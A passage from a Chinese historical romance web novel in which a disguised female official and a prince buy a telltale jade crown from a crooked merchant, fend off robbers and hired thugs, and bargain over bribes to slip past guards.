不过是止个泻,太医院连这都做不好,不如辞官归家。只是她身在宫中,不好违抗皇命,云暮撇了撇嘴,取了外袍后就和吕梁走了。 路过一个分岔路时,云暮喊住在前面带路的吕梁:“这边。” 从御花园到勤政殿还得绕一大段路,吕梁虽不解,但还是跟上了。 经过一株石榴树前,云暮驻足折下了几根枝条,“把嫩叶部分摘下来煮水,让皇上喝下即可。对了,在里头放片黄连,泻泻热气。” 吕梁狐疑地看了一眼石榴枝条,欲言又止,最后还是接下了:“是。” 近段时间,梁文帝吃斋惯了,晚膳时她又故意挑了几块较肥的肉给梁文帝,借此拖延时间,第一次能让坦房的太监推了,但第二次可就不好糊弄了,但她熟知药理,给梁文帝添些堵还是可以的。 到了勤政殿后,看到双脸有些惨白的梁文帝,云暮内心毫无愧疚之意,她垂目号了脉:“皇上,往后还是用清淡些的饭菜吧。” 梁文帝刚吃的时候就后悔了,但想到那是云暮所夹,到底还是忍着恶心吃了,谁想晚些时候,腹中如翻江倒海。 派人去请了云暮一回,但对方没来,而是派人去太医院请人,连喝了两碗药才堪堪好。 云暮今夜在宫中留宿,上次去坦房已经把云暮气得想要火烧宫室,况且他也曾允过对方不再踏足,所以他又派吕梁去了一次。 这一次云暮再不来勤政殿,他便亲自去坦房寻人。凭对方怎么恼,都得留在勤政殿的东间。 云暮的目的已经达成,在坦房还是勤政殿都无所谓,但那屋子的床她是睡不下的。 她从房后跃上了房顶,双手交叠在脑后,仰望着夜空,不知她和沈聿明“两兄弟”一天天都没有出过那间屋子的事会不会惹胡宗远生疑。 梁文帝特意等到夜半,悄悄地往东侧面摸去,床上的被子整整齐齐地叠着,无人动过。 “人呢?” 吕梁小跑出去,见了侍卫问了一圈,云暮就坐在房顶看着他们忙活,直到吕梁抬眼对上了她的视线:“找本将军有何事?” 吕梁不敢明说,只隐晦地指了指头顶的天。 云暮一动未动:“本将军就不下去了,上边夜色正好,现在时候也不早了,叫皇上早些歇着吧。” 第二日,“陈家俩兄弟”又出现在了人前,一天未见,他们身后多了两个小厮。私四人在京城里逛了半天后,又进了万宝斋。 小二把他们带到里间,胡宗远像是早就料到了一般,茶杯都备了三个,“二位来了,请坐。” 他满脸关心地看向云暮那只裹着纱布的手:“陈二公子的手可好了些?” 两兄弟好好地进了醉江月,不过是半个时辰的功夫,其中一个抱着一个手沾满血的人出来,又请了好几个大夫。 这事让醉江月的人看了个正着,胡宗远的人就混在里边。 云暮甩了甩那只手,“在外头用酒碗惯了,没想到京城的茶杯一捏就碎,在下见了血就晕,没想闹了这么大的笑话,昨日更是门都不敢出。要不是还有要事在身,在下都想回西域了。” 一本正经的胡编瞎造,沈聿明真佩服云暮这见人说人话见鬼说鬼话的功夫。 胡宗远说道:“看着二位愁眉不展,可见是未寻到称心如意的礼物。” 这一次编鬼话的人成了沈聿明,他如借酒消愁般灌了一杯茶,“人人都说京城是大梁最繁华的地儿,可要找到一些稀罕的物件竟难如登天。” 胡宗远神色忽而有些愧疚:“实不相瞒,昨儿万宝斋来了一个客人,把上次您二位看上的那几件都给买走了。” “不是胡某不想和你们做成这笔买卖,实在是万宝斋近来日子难过。” 说罢,他长叹了一声。 云暮当下就恼了,她猛一拍桌:“胡管事,你明知我们属意那几件,怎么突然反水卖了出去?胡管事,你最好给我们解释清楚。” 话里头隐隐含着威胁。 陈家在西域一带是大户,手里捏着不少门路,胡宗远并不打算与他们交恶。 两个守在外头的小二循声闻来,“胡管事。” 云暮转头怒斥:“谁让你们近来的,滚。” 他们犹犹豫豫不敢往前,但也没有离开,直到见了胡管事挥手,这才又退了出去。 云暮唱白脸,沈聿明便唱红脸,他拍了拍云暮的手臂,“二……二弟,你且先听听胡管事怎么说。” 他又转头对胡宗远和煦一笑:“他自小被家里纵着,脾气都被惯坏了,还请胡管事多担待。” 胡宗远心中不喜,但脸上还是挂着笑:“二公子真性情,胡某又怎会真心计较。把那几件东西卖出去,一来是我手底下的人要吃饭,二来是因为还有更好的东西在等着二位。” 上次那玉壶被他们怀疑是赝品,胡宗远哪里还敢卖给他们,真要被揭穿,万宝斋这个牌子保不住不说,太子那一关他就过不了。 只好暂且把东西撤了,等这两个瘟神离开京城再拿出来。 云暮依旧冷着张脸,但耳朵却已经高高竖起,沈聿明只好接话:“什么好东西?胡管事可否拿出来让我们一观。” 胡管事抚须笑道:“前几日胡某派人去打听了点消息,听闻北域王后喜玉石,尤其是触手生温的暖玉,好巧不巧,万宝斋的库房里还真有一件暖玉做的宝贝。” 云暮的气来得快去得也快,她按捺不住好奇,“快拿出来给本公子瞧瞧。” 第一百九十六 出手前怎么不说一声 胡宗远暗自嗤笑了一声,那些蛮荒之地的人就是好骗,“库房乃万宝斋的重地,二位公子在此稍候片刻,胡某去去就来。” 有扬声对外道:“你们两个,进来伺候。” 派了人来看着,防的就是他们偷偷跟在后头,云暮和沈聿明对视了一眼,她扭了扭手腕,趁那两个小二未到,将一只身上沾满细粉的黑色虫子弹到胡宗远的脚后跟。 他每走一步,黑虫身上的粉末就会掉在地上,在深褐色的地板上不算惹眼。 云暮如热锅上的蚂蚁一般,时而坐下,时而起身在里间踱步,又命小二前去催促胡宗远。 此人急眼了都敢指着胡管事的鼻子骂,小二唯唯诺诺不敢招惹,但也不敢轻易离开,只道快了快了。 茶壶里的茶都见底了,胡管事还是没有出来,云暮借口要去如厕,指着其中一个小二让他带她去茅厕。 云暮捂着肚子率先朝胡宗远离开的方向走去,才出了里间的隔门,正要往左边走去,小二忙道:“陈公子,茅厕在这边。” 云暮跺了几下脚:“还不快点带路!爹的,你们京城的茶涩口还苦,难喝得要死,喝了还只想上茅厕,哪儿比得上我们西域的奶茶。” 小二暗自啐了一口,这西域人当真不识货,胡管事那茶金贵得很,平常他们都只能闻闻,偶尔撞上他心情好才能讨上一杯。眼下他喝了一整壶,还说难喝。 回去的路上,云暮寻机会欲把人劈晕,她偷摸跟过去,然就在她抬手之际,胡管事捧着一个紫檀木盒迎面走来。 “二公子怎么出来了?” 云暮又把方才对小二说的话给胡宗远复述了一遍,胡宗远脸黑如锅底。那茶是太子所赠,听说还是御赐之物,这人好没眼色。 但他还得暂且忍耐,等人出了城,荒郊野岭的,定要给这个口出狂言的人一个教训。 云暮眼看着胡管事打开锦盒,昏黄色的烛火下,云暮的瞳孔一缩,在场之人都被盒中之物吸引了去,无人发现云暮的异样。 这东西怎么会在太子的手中? “二公子,二公子?” “二弟。” 沈聿明边抬手在云暮面前晃,边对胡管事道:“胡管事,实不相瞒,我这二弟对玉石之类的物件也颇为喜爱,在西域也未曾见过这般精美的物件,一眼就看呆了。” 胡管事得意一笑,不是他夸大,这件东西若是被别人知晓,万宝斋的大门就要被踏破了。他想起太子叮嘱他的话。 “此物不许卖与大梁官员,倘若哪天遇到两个西域陌生男子,且配有腰牌,可赠予。” 这样的人多如牛毛,胡管事再问,太子怎么都不肯说了,只道:“等你见到就会懂了。” 他的眼神掠过他们腰间雕着陈字的腰牌,陈家兄弟想来就是太子殿下口中的人了。 万宝斋生意每况愈下,赠予是不可能的,他还要出高价卖。 云暮轻轻把手搭在那个白玉制成的玉冠上,和它清冷的外表不同,玉冠触手生温,正是暖玉。 云暮找了这么久,不曾想它竟然就在她日日都会路过的万宝斋。 “这么好的东西,胡管事怎么不早拿出来,还藏着掖着?” 胡管事小心翼翼地把玉冠放回锦盒,“二位可还满意?” 云暮当即拍板决定:“就要它了,王后时常会和王上一起出游打猎,她定然会喜欢这个。” 说罢,她像是怕胡宗远反悔,将桌上的锦盒收入怀中,从怀中掏出几张银票:“胡管事,这些够了吧?” 不过三张轻飘飘的银票,却足足有十五万两。过犹不及,胡管事也怕被太子知晓,不敢再加价,“够了够了,若是此礼能入北域王后的眼,还望陈家莫要忘了万宝斋。” 云暮眉尾挑了挑,敷衍道:“这些都好说,只要王后喜欢,我陈家保住荣华富贵,万宝斋就是我陈家的恩人。” 才出万宝斋,云暮吩咐陈江:“去盯着胡宗远,他手头上有份账本,记的都是和万宝斋有生意往来的人,他放的位置应是极为隐秘,你多留意。” 沉默了许久的沈聿明终于开口:“这是何物?” 她不惜花十五万两都要把东西买下,难不成她真的要送给那个劳什子王后?想到司戎,他面色一黑。 还有账本 云暮把锦盒抓得更紧,“此地人多眼杂,回去后再同你说。” 沈聿明不想有旁人扰了他和云暮的单独相处,以陈江势单力薄为由,把文竹也给支走了。 两个衣着富贵、手无寸铁且刚从万宝斋拿着东西出来的人很快就被人盯上了。 被人逼着走近一条无人的深巷时,云暮惊恐地抱着锦盒往沈聿明身后躲,而后探出一个头,色厉内荏道:“你们可知我们的身份,再不走就别怪我们无情!” 为首的那个络腮胡甩了甩那根和他小臂一样粗的棍子,道:“留下锦盒里的东西还有兜里的银子,小爷就放你们离开。” 云暮晃了晃锦盒,又掏出一沓银票:“你们说的是这些?” 这些人不曾见过这么多银票,对视了一眼后,慢慢把云暮二人逼到死胡同的角落,“我改变主意了,不能放你们走了,想要走,得让你们的人送来你们的买命钱。” 云暮一改方才的懦弱,抓着那根木棍轻声道:“买命钱?我敢给,你们有命拿吗?” 猝不及防地把棍子往她的方向拉,而后屈起膝盖踹向络腮胡的腹部,趁他吃痛,夺过他手中的木棍,挥手向络腮胡的头砸去。 但在木棍快要落下之时,云暮的手往下偏了几分,木棍结结实实地落在了男人的背上,发出一声闷响。 “你敢叫,我就把你的脑袋当成西瓜砸开。” 一句话让男人把快要出口的尖叫逼了回去,“二位公子,小人有眼不识泰山,冲撞了你们,我们这就走。” 这一切太过突然,那几喽啰还没反应过来,他们的头儿已经被打趴了,就连沈聿明都看呆了。 “你……” 你出手前怎么不说一声,他也想动动筋骨啊。 第一百九十七 他对你做了什么 云暮抓着棍子梆梆又打了两下,“让你的人闭嘴,再喊一句,保不齐我会做出让你们永远闭嘴的事。” 络腮胡疼得脸都扭曲了,但不敢忤逆云暮的话,“都闭嘴,谁再敢吼一句,他就是赤龙帮派来的探子。” 叫得最起劲的那几个猛然捂嘴摇头,大气都不敢出。 云暮也学络腮胡的样子,抓着木棍在掌心掂了两下,“谁派你们来的?” 络腮胡道:“无……无人指使,是小人见二位公子的奴仆走了,身旁又无旁人,这才生了贼心贼胆。” 云暮观他面色,发现此人没有说谎后,她收回压在男人脸上的鞋底:“滚。” 话才出口,几人屁滚尿流地滚了出去,但在巷口时又让人给逼了回来。 徐文带着一队金吾卫来了,“何人在此喧哗?” 络腮胡瞪大双眼,连忙摆手:“没有没有,我们方才闹着玩呢。”他在心里想:“他何时派人去报了官?” 云暮乐了,她扬了扬手,意味深长道:“这位大人误会了,我们确实是闹着玩,您瞧,东西不都好好地在这吗?” 方才几人的行踪鬼祟,被人发现了端倪,正巧徐文穿着金吾卫的衣服路过,于是便给他指了条路。 徐文看着一瘸一拐被人搀着走的络腮胡,还有不远处的木棍,挑了挑眉。 络腮胡是京城出了名的无赖,就爱干些打劫的勾当,但被他盯上的人都不敢告官府,是以拿他没有办法。 他的体型高壮,那小臂比旁的男子粗了一圈,惯用的木棍也比平常的粗,一棍下去,不是半死也残了,他倒是小瞧这两人了。 云暮和沈聿明一前一后离开,倒是徐文见了二人的背影,那双眼眸微微眯起,手在下颌处慢慢摩挲,他总觉着这两人有点眼熟。 两人回到租赁的小屋后,沈聿明眼看着云暮将那枚玉冠又拿在手上把玩,目露沉思。 “这究竟是何物?你难不成真想把它当做礼物送给北域皇后?本王竟不知云大人何时这般大方了。” 云暮听出他话里有话,她拍了拍身旁的椅子,示意对方坐下。 “非亲非故,又无往来,我送给她做什么?那十五万两银票,我早晚要从胡宗远手里拿回来。” 沈聿明听后,这才松了一口气,“那你为何见了它就一副走不动路的模样?” 他猜测道:“难道这是云家的东西?” 云暮嘴角略抽,甚是佩服沈聿明的脑子,“我爹当年虽是太医院院判,但是一个月俸禄也不过三十两,如何买得起这玉冠?” 沈聿明大喇喇地坐下:“万一是你们云家祖上传下来的呢?” 云暮摇头:“这是卢家的东西。” 提起卢家,云暮忽而想到那个消失了许久的卢靖,卢宏这老东西当真是有点手段,竟然能偷天换日,以死囚换卢靖。 她从前只当贵妃和卢家有牵连,谁想太子私底下也和卢家有往来。她抄卢家时,手里捏着一张单子,上面的东西都搜得七七八八了,唯独少了几样东西,其中就包括这个玉冠。 卢家人下狱后,无一人供出太子,每每提起卢家之事,他也总是一副义愤填膺的模样。 虽说世家的关系互相牵连,但崔家一向独善其身,云暮也没怀疑到崔家和太子身上,谁曾想今日竟有这么大的收获。 看着若有所思的的沈聿明,云暮思考了片刻,忽然道:“卢靖没死,我怀疑他和太子有联系。东宫并非密不透风,太子应不会把他放到眼皮子底下。” 沈聿明转头看向云暮,“你说什么?谁还活着?” 云暮道:“卢靖,卢宏独子,本该死在刑场上,但卢家人拿死囚换了他,能做到这般神不知鬼不觉,想来是有太子暗中相助的缘故。” 沈聿更关心的是云暮怎么知晓此事,“他找过你?” 云暮不语,只是一味地盯着玉冠沉默。 沈聿明福至心灵地想到,当初某一天去云府时,被告知她院子里的机关换了,他还当是那些人做的她不喜欢。如今细细想来,应是晚上有她厌恶的人闯进了房,否则她怎会连屋内的一切都给换了? 沈聿明抓住云暮的手,笃定道:“他去找过你,为了何事?” 云暮没有挣扎,只淡淡说了一句:“放手,你弄疼我了,若是伤口再裂开,下官不惜以下犯上都要给殿下划一道口子,再用那药汁给您上药。” 沈聿明充耳不闻:“他对你做了什么?” 他质问的语气把云暮惹恼了,她呵了一声“做了什么?” 她将玉冠随手一放,故意刺激沈聿明:“什么该做的不该做的,都做了一遍,王爷,您满意听到的答案吗?” 云暮厌恶卢家至极,那次没杀卢靖定然还有别的原因,沈聿明明知对方在故意激怒他,但他依旧上了钩。 他拽着云暮的手把人拉到怀里,一只手搭在她的腰间,不许她后退一分“什么都做了?” 就在云暮以为他要做些什么时,沈聿明把头搁在她的肩上,箍着她的手和声音都有些发颤“云暮,我快要疯掉了,你别再对我说这些话了。” 他真怕哪天疯病犯了,会把这个冷心冷情的女人关在王府,锁在他的房里,窗户钉死,门上三道锁,亦不许旁人同她说话,她逃也逃不掉,只能日日在府中等他回家。 云暮再次默了。 她默不作声地起身,这一次,沈聿明没有再强留。 两人就这样坐了许久,直到沈聿明的呼吸逐渐变缓放轻,云暮才开口。 “昨天夜里我去见了长宁一面,她还没见到我就料到了屋里有人,误把我当成了那人。照她的话来看,那人应是男子,只是会有谁深夜闯进公主寝殿还不被发觉?” “皇后在后宫的耳目甚多,长宁被陌生男子进了寝宫她不知,长宁举了太子,她亦不知?” 沈聿明暂且把卢家的事放到脑后,“侍卫没有发现异样?” 云暮啧了一声,“只要知晓他们的巡逻时间和路线,避开他们轻而易举。” 第一百九十八 帮下官一个小忙 此人到底是谁,两人百思不得其解。 暮色四合,灯火四起,云暮和沈聿明再次戴上面具出了门,地点依旧是醉江月。 今儿谈成了一桩买卖,又是太子钦定的人,眼看陈家兄弟即将离京,胡宗远想着趁今夜的机会再次套近乎。 云暮他们也正想着把胡宗远支出来,方便陈江和文竹办事,也就应下了。 云暮拿起茶杯时,面上还有些心有余悸。 胡宗远笑道:“这是银杯。都道葡萄美酒夜光杯,二位公子出门在外最是谨慎不过,胡某今日便自作主张把玉盏玉碟都换成银具。” 沈聿明笑着谢他:“胡管事费心了。” 席上,沈聿明多次以云暮手伤不便为由,为她剔骨,又喂到嘴边,把胡宗远看得一愣一愣的。 寻常人家的亲兄弟是不是也如他们这般亲密,胡宗远不知,他只知每次看到他的那几个糟心的兄弟就一肚子火。 “二位公子的感情真好。” 沈聿明腼腆一笑:“毕竟是兄弟,二弟的手受伤了,作为兄长岂能坐视不理?” 除了手心较深的伤口,其余已经痊愈,云暮想发作又但心露馅,只能在台下恶狠狠地用脚后跟踩向沈聿明的脚背上,可见她有多恼怒。 沈聿明面色不变,依旧挂着笑,还给云暮夹了菜,云暮低头一看,是一块猪蹄,“吃哪补哪。” 云暮气得牙痒痒,所有动物的脚她一概不吃,沈聿明也是知道的,他这是存心报复。 她呵呵了两声,“兄长近来劳累,人都憔悴了不少,回去后只怕嫂子不仅嫌弃,还会怪我没照顾好兄长,还是你吃吧。” 说完,她把装了猪蹄的碟子放到沈聿明面前。 沈聿明没想过逼她吃,况且夹猪蹄时还特意换了一副新的碗筷。 胡宗远不知这两人暗流涌动,让小厮给他们三人都斟满了酒,“胡某和两位公子也算有缘,胡某敬二位一杯。” 沈聿明偏头看了云暮一眼,想替她喝了酒,云暮却先他一步举起酒杯和胡宗远的碰了碰,见他愣着还出声催促:“兄长?” 胡宗远问道:“大公子喝不了酒?” 他派去查的人没说啊? 沈聿明噢了一声,指着云暮右手的纱布道:“方才在想,二弟如今这手,是不是不宜饮酒?” 胡宗远抬手碰了沈聿明的酒杯:“这就是寻常的果酒,喝起来像果汁,不碍事不碍事。” 在沈聿明担忧的眼神中,云暮将杯中酒一饮而尽,还倒扣酒杯示意二人。 胡宗远朗声笑道:“二公子是个爽快人,胡某喜欢。” 酒杯中的酒轻轻摇晃,滴了几滴在沈聿明的手指上。 云暮二人和胡宗远把酒言欢,快到宵禁了才一身酒气地被车夫送了回去,两人互相搀扶着走进院中。 大门一关,两人眼中的醉意消散得一干二净,云暮忙撒开手,离沈聿明好几步远,只是沈聿明还在步步逼近。 “做什么?” 云暮不常饮酒,这种果酒虽然不辣喉咙,但被风一吹,她的脑袋还是有些发晕。 沈聿明揭下她的面具,抬起她的下颌借月色细细检查。 “你不是说喝不了酒?早年就是因为喝酒差点没了命。” 云暮哦了一声,“你说那件事啊,不过是我吃了会长疹子中毒的药罢了,方才喝酒不过是因为有人在监视。” 他一心放在云暮身上,没太注意周围“谁?” 云暮揉了揉眉心:“应当是徐文。” 今天离开前,徐文的视线跟黏在她身上似的,她这次光顾着换脸,忘记把身材也换换了。 陈家的两位公子出现在京城后,她对外称身体不适,在养病,没去过布政坊当值。 徐文这些人几乎日日都和她待在一处,认出她也只是时间问题,不如就借今夜的酒打消他们的疑虑。 二人洗漱后,文竹和陈江才回来,这次又带回了好几本账本。 陈江找到云暮,低声道:“大人,属下把书房里外都翻了一遍,还是没发现您说的账本。” 如此重要的东西,胡宗远都不放在书房,云暮道:“他的院子去过了吗?” 陈江点头:“找了,也是一样,毫无线索。” 难道他随身带在身上?今日那几个歹徒见人落单就要动手抢财,胡宗远把那东西带在身上,若是被人抢了去,他的命也到头了。 他能藏在何处呢? “罢了,暂且不管他,你明儿去……” 第二日一早,砚石和陈江一早就在云暮的房外候着。 云暮就算是记挂砚清,此刻也脱不了身,她提笔在纸上写了不少东西,对砚石道:“你先回去把这些东西准备好,晚些时候就带着他们来城外。” 今日是她和沈聿明“回西域”的日子,胡宗远昨夜说了他会来相送,想来还有一批人会跟在他们身后,他们还得做做样子。 若是甩掉他们的时间早,她还能回一趟云府,但不顺利,她就在城外的角门等砚石。 孤男寡女一同出去,还是晚上,沈聿明又警惕了,“你们要去哪儿?” 先前在鬼市死了三个人,鬼市如今还被大理寺的人看着,那两个守卫死的地方或许会派人严加看管,她得寻些别的法子,或许能让沈聿明行个方便。 她没好气地答道:“还能去哪,自然是去鬼市看望我那被困在里面不知有没有饿死的师父。” 沈聿明被她的话噎住了,这件事全程他就帮忙审了几个人,去守鬼市的人也是程文博派去的,这也能怪在他头上? 沈聿明大喜,他轻咳了两声,急忙撇清关系“这事儿可与本王无关,你可莫要乱扣帽子。” 云暮右手一挥,砚石几人识趣地退了出去,文竹甚至还贴心地合上了门,一点缝隙都没留。 云暮半倚在桌子上,面前是正端坐在太师椅上的沈聿明。她伸出手描摹他的眉目,顺着鼻梁往下,最后停在了他的下唇。 指腹在唇上揉搓,下唇很快就染上一抹艳色,云暮故意低头在沈聿明的耳边道:“王爷,能否帮下官一个小忙?” 第一百九十九章 谁派你们来的 耳廓传来酥麻,沈聿明猛地抓紧太师椅的扶手,喉咙滚动了两下。 两人离得近,他的这些反应没能逃过云暮的眼。平日里见了她不是视而不见,就是冷着脸,她还当对方放下了,也没再过多关心。 这几日相处下来,云暮才发觉那些不过是假象,既然对方有意,而她又有求于对方,她倒是不介意付出点什么。 沈聿明把头撇开,闷闷道:“你要本王做什么?” 云暮勾住他的下颌,将脸转了回来,“那些人求王爷办事也都这么容易吗?” 明知故问!沈聿明瞪了她一眼,这轻飘飘的一眼让云暮生出了逗弄之心。 实不相瞒,她对沈聿明还是很满意的,模样身段都是一等一的好,还对她言听计从,偶尔闹些不痛不痒的小脾气,她不过就是拿块糕点或是说几句好话就能把人哄好。 她弯下身子,缓缓靠近沈聿明,对方长睫颤了两下,垂下眼不看她。 就在双唇要落到沈聿明的嘴角时,云暮倏地站起,旖旎的气氛就此破坏,“王爷,三十万两能否让你调离鬼市东南角的那几个守卫?” 意料之中的事情没有发生,沈聿明才知被云暮耍了,他冷笑了一声,“十五万两的玉冠云大人眼睛一下没眨就给了。若要调离那儿的守卫,本王要在这关键关头去大理寺找程文博,还要亲自去鬼市,不过三十万两就想把本王打发了?” 他的语气算不上好,还有些冲,云暮心道,她这是把人惹毛了。她和砚石不是不能把那几个守卫解决掉,只是觉得有些划不来。 一旦他们发现有人闯进了鬼市,定会严防布控,上次他们把钱大壮当场抓住,这才没疑心有人闯了进去。 这一次,她不想身边的人成为下一个钱大壮。 “王爷要多少才肯助我?” “不多,按人头来算。一个人要十万两。”沈聿明狮子大开口。 方才只有她的头再低些,不管让他做什么,他都会应下。 云暮痛惜地看着手里为数不多的银票,这些都是她这些年辛辛苦苦攒下来的,平日里她都没舍得花,结果今天眼皮一闭一睁,三十万两就没了,这些人真当她的钱是大风刮来的? 才和沈聿明分开多久,他就成了那个掉进钱眼里的黑心肝,云暮将银票拍进他的掌心,“这是定金,剩下的等事成后再给。” 她真的给,沈聿明反倒不敢拿,他捏着银票的下好没坏,感受着上面残留的体温。其实她只要如法炮制,这十五万两,她本可以一个铜板都不用掏。 两人同时从屋内出来,一道热烈的视线在她和沈聿明之间徘徊,云暮还当是胡宗远派来的人,她抬眼一看,发现竟是来自文竹。 你在看什么?” 文竹给云暮行了一礼,又恨铁不成钢地看着沈聿明,不中用啊不中用,把人关在一块,这俩却什么都没有发生。 要不是知晓云暮乃神医的徒弟,医术精湛,他早就往茶杯里加点好东西了,到时生脉煮成熟饭,不就什么都好了? 两人在一起还能解开心结,若好像现在这般,他家王爷这辈子都只能在暗地里看着云暮了。 午时一过,云暮个沈聿明骑着马往城门走去,满脸笑意,不远处就是胡宗远派来送他们的人。 东西已经给出去了,还得到了一大笔钱,胡宗远美滋滋地把银票藏到架子底下那个落满灰的盒子,哪里还肯分心去送他们。 胡宗远将叠得整整齐齐的银票,小心的放在盒子里,在盒子的最下边放着一本带着褐色封皮的书册。 胡宗远拿出书册,提笔在上头写了几个字。 建安二十四年,赠西域陈家兄弟玉冠,兄弟二人似与太子殿下相识。 做完这些,他又将盒子当回黑暗的角落。 此刻的云暮二人已经到了城门口,她朝胡宗远的人拱了拱手:“你回去告诉胡管事,我们先走一步,往后他若是来西域,只管去陈府找我们。” 话落,她扬起马鞭在马腚上狠抽两下,马儿吃痛朝前跑去,带起一阵尘土,和两个戴着斗笠的人擦肩而过。 云暮若有所感地回头,却只能看到两个背影。 按照先前商议的路程,他们只需往前走十里,在附近的庄子改头换面,但云暮隐隐觉得有人一直跟在他们身后。 “你发现了吗?” 沈聿明嗯了一声,马蹄声纷乱,怕云暮没有听清,他又点了个头。 不远处是一个山道,有两条岔路,云暮往右,沈聿明默契地往左。 趁着人还没追上,云暮把马栓在一棵树旁,她则蹲在不远处的树上,手里拿着一个轻巧的弹弓。从鬼市出来后,她就随身带了一个弹弓,以备不时之需。 听到马蹄声后,云暮从腰间的布袋掏出一把石子,有大有小,有的被磨得很圆,有的则是带着棱角。 “人呢?” “马还在这,人肯定就在附近,仔细搜查。” 云暮将弹弓朝后拉,带着弹力的绳格外紧绷,她手指卸力松开,石子直直地朝其中一个人的胸口而去。 一个倒下,引起了其他人的注意。 缠绕在一起的树干,浓密看不清里头情况的浓密树冠,是藏人的绝佳地方。 “人肯定就在上面,谁爬上去看看?” 剩余的这三人都在推脱,“你去,胡管事最看中你,你去。” 胡管事?云暮冷哼了一声,这奸商还真是当面一套背后一套,且等她回到京城给对方一个教训。 她再次把小石头放进弹弓里,对着正要往上爬的人就是一颗石头。 才用了五成力,那人就捂着手倒了下去,叫唤着疼,“人就在上面,我们一起把人抓住,把人痛打一顿后去找胡管事拿赏银。” 胡宗远派人来打她和沈聿明?每每见了人都是一副笑脸,结果心里竟这般狭隘,难怪万宝斋的生意每况愈下。 云暮将石子放回布袋,随意折了一根树枝后从枝干一跃而下:“谁派你们来的?” 第两百章 你去江南不去? 即便早有准备,他们还是被突然出现的云暮吓了一跳。 云暮紧接着问“胡管事派你们来的?” 几人二话没说就开始拔剑。 云暮折的树枝不短,上头还带着绿叶,她将树枝往前一扬,几人挥剑一劈,绿叶纷纷扬扬落下,挡住他们的视线。 “看哪儿呢?” 她话还没说完,人已经绕到其中一个的身后,抬脚用力一踹,一个五大三粗的男人连人带剑踉跄倒地。 这几个不过是有些拳脚功夫的护院,云暮擒拿他们就和喝水一样简单。等沈聿明到时,云暮已经把人拴在那棵大树后,她百无聊赖地坐在一旁,手下是一地被揪碎的树叶。 “来了?没人去找你?” 和那几个人切磋了一顿,沈聿明的气已经消了,他捡起树枝递到云暮面前,“找了,被打跑了。” 又嫌弃道:“你还留着他们做什么?” 云暮抓着树枝,借他的力起身,“留着给胡管事送一份礼。” 口哨声响后,几个蒙着面的黑衣人忽然出现,那几个被捆住的护院两眼一黑,自觉命不久矣,于是开始求饶。 “陈公子,我们这几个都是奴才,只是听上头的吩咐办事,您二位大人有大量,就饶我们一命吧。” 方才死都不肯开口,现在又迫不及待地求饶,当真没意思,云暮挥手让他们把人带走。 沈聿明盯着黑衣人消失的方向,“云大人手底下还真是能人无数。” 云暮没多解释,而是拱手笑道:“王爷过奖了。” 东西还在,跟踪他们的人也已经抓到,云暮撕下人皮面具,还换了一件外袍,摇身一变成了人人惊惧的云暮。 两人同进同出太过惹眼,云暮就在此处和沈聿明别过,“王爷莫要忘了答应我的事。” “准备好剩下的银票。” 云暮回到云府时,砚石已经把她交代的事情都做好了,她把人叫到书房:“我打算让砚清南下,去药王谷,师兄在那儿,他定会无虞。你若想去,一会儿就回去收拾东西,过几日就随师父一起离京。” 砚石和砚清一同长大,又一同进了云府,他最为了解他的兄长,“只怕……兄长不愿。” 辛百草说砚清不愿时,云暮还当他随口说说,眼下见砚石也这么说,她问道:“为何?” 砚石单膝跪地:“大人,当初是您的那些银子和药方让我们兄弟又苟延残喘了一段时日,后来大难不死,属下和兄长就决定报答您。” “您不缺钱财,只是身边少有能用且忠心之人,属下和兄长心甘情愿留在云府。” 云暮默了许久:“不过是些碎银,药方对我来说更不是什么值钱的东西,你们无需搭上命来报,况且,砚石已经为我‘死’过一回了,你们不欠我的。” 砚石道:“大人,属下不走。” 他和兄长日日习武,为的就是能办好云暮交代的事,那一锭银子对现在的云暮来说连蚊子腿都算不上。但跟在云暮身边这几年,他们也知晓了当年的一些秘辛。 在宫里过着水深火热的日子,却还是对他们这两个奄奄一息的伸以援手。当时他们一身疹子,人人都怕是瘟疫,还扬言要烧死他们。 云暮也想起初见砚清两兄弟的场景。 那日是清明,时雨纷纷。那日不时是她当值,她偷偷溜出皇宫,去了城外的一个不知名的山里。她师父在那里给她阿爹阿娘建了一个衣冠冢。 回去的路上,她打算从另一条路绕回京城,去从前的云府看看,想着上柱香,烧个纸也是好的。 山下的村庄里,有两个和她差不多大的男孩被捆在柱子上,身旁堆满了柴火,云暮只看了一眼就收回目光。 她今日事情不少,还得赶在宫门落钥前回去,并不打算管。 路过围观的人堆时,她被人拉住,“你是外地人吧,你知道……” 拉住她的女人好不容易逮到一个没听说这件事的人,一股脑地把两个男孩的事都说了一通,最后畅快道:“这两个小杂种,死了才好。” 云暮撇了女人一眼,又看向男孩:“他们只是起了红疹,不是瘟疫。” 她不知该夸还是该骂,这两人身上的疹子若真是因瘟疫而起,等到现在才想起要火烧他们,这个村子的人一个都跑不了。 那些人自是不信,云暮既点了他们的病,算是沾了因果,此刻再任由他们把无辜之人活活烧死,她做不到。 于是,她用身上值钱的东西换了他们的命,在外头采了草药让他们的红疹看起来没那么吓人后,又把人带到那个破败不堪的云府。 留下一袋碎银、一些草药还有两张药方,云暮又回了皇宫。 她当了中郎将后便搬到了宫外,起初偌大的云府只有她和安叔,没过多久,砚石和砚清就上门自荐。 安叔年纪大了,起初她只是想要两个人看家护院,后来才发现这两兄弟还是习武的好苗子,又带在身边亲自教。 花了几年磨出来的利器,说不要就不要,云暮不舍,但她不知以后还能不能护住他们,所以只能先把他们几人的后路给安排好。 见云暮还在坚持,砚石道:“大人,你就算把属下赶走,属下也会在京城租一个屋子,继续跟在您身后。” “属下不怕被牵连,当初没有大人,属下和砚清早已是城外的孤魂野鬼了。” 那年,他们找了云暮一年,直到第二年清明,他们才终于在蜗居的破烂房子里看到云暮。后来也是想着报答对方,这才一路走到今天。可以说,被云暮救下后的日子,他们都是为了他而活。 云暮叹了一声,把人扶起,“罢了,你哪天想走了就和我说一声。” 几个时辰转瞬即逝,云暮和砚石于子时出现在城外的角门,不同的是,今夜少了一人,他们的手里也少了不少东西。 两人顺着记忆很快就走到洞口,不远处的水边站了六个人。 但对云暮来说,那不是人头,那是六十万两。 第两百零一章 换脸 经上次之事,此处被严加看管,好在云暮走前将洞口堵住,这才没让他们发现。 六人分为两队轮值,云暮和砚石根本找不到机会出去。两人等了约摸有一刻钟,他们依旧没有离开的迹象。 云暮在心里把沈聿明吊起来狠狠抽了一顿,此人拿钱不办事,等她出去了,要连本带利讨回来。 就在云暮拿出弹弓想要效仿上次将人打晕之时,远处号角声响。六人对视了一眼,而后一同朝号角声响起的方向跑去。 